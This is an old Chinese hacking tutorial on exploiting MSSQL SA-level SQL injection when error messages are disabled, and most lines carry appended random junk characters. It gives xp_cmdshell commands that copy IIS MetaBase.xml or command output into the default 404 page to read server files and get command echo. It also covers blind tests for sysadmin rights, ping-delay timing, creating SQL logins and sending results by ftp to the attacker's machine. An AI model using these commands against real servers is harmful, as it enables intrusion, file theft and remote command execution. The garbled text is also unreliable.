遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。0 @- j) B$ K# @& ~
" X7 P% D. j; O
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。7 N4 L5 P' T6 m& a
3 \, C3 a! g3 R. ?8 u0 @, ~ 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。4 }4 c2 U0 u( U$ G. y3 {! k
$ F# `3 o" J0 I: Z4 C
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm8 C3 j) [3 T) P/ ^
. w ~; e" J! B0 t5 ]
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--! z- X. `* f/ E# W1 e5 n$ }( M
3 C+ ~, u( R! g7 M
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。! e3 P6 L( D9 }! H2 w
: B# c5 R& D i; `" Y 执行命令得到回显
0 F. M- `+ c& z8 K0 E2 X8 U8 Z) T$ _, V% n( _+ i& @2 _" }
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--6 T" i# u7 E* C j0 Z5 A
" M2 B, s4 }1 q
得到文件也shi相同,把文件copy到404b.htm就行了
' V9 p8 O, O3 j: F+ H" q: u: R7 B! R$ ?8 X, [1 i
by 28ice, 2008/6/26
) i, r3 v3 _, t! B3 {) _3 _4 {( l ?4 \; |- J
摘自 28度的冰
# a( r# ` d* c9 g# d
( a# Y5 Y) N' N# C 盲注判断权限和操作系统版本
/ E& H' B% f9 l- u0 g) N7 s( N% |- j( C2 D! U! W4 f% G# [
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
: Q1 v }1 C0 l _6 H: I
4 W$ c# n! ?: N9 n 最简单的,可能以用这样的方法:
6 E# W0 U& |" W! B9 u5 ?0 B2 _& Q% k) y( { E( y6 X3 T2 l2 j
1=(select IS_SRVROLEMEMBER(’sysadmin’))% C7 K# Q* f2 ?9 d( X0 m U
! s) J- Q3 K% n 当然,有些情况下,这个方法并不奏效。
y3 B4 ~1 S, y+ f& q" z' _4 r2 T3 }0 s. S' v# a& G
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
# Q5 ?& d. M: y8 O# G
8 D7 _0 |% R8 H# e) ] 有个3办法可能以解决这个问题& R) W% ?, _+ W, X- [+ }! n# l
/ J. c9 f* p! f: O5 f- {+ _( h* R a.把执行结果写到404b.htm,具体请看我的上一篇文章
9 B* O& k- f+ h, G
, Z% g4 t8 ~0 x. O4 k b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
$ p& N6 N" ]0 K3 r
" c; z7 L% H: C5 m c.如果1433端口可能以连接,那干脆新建个sql登录% ^: Q/ L- c% \. T
9 }. t. S; w# r% [7 c d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
) m$ j) F9 R+ Y+ R$ @0 S3 ?
; W7 F! J' [) m8 l9 w8 { 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
7 V8 g1 K& U: B0 f
- R T, X* n8 [0 z: `( ] 很简单
/ D- T% v/ G) S0 b& @" r) Q* K& x
' K6 _: {; Y- r9 t* M 执行systeminfo
$ l' }: a* X% ^5 s( L
- l; R& e# e/ I) f# ~/ a 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |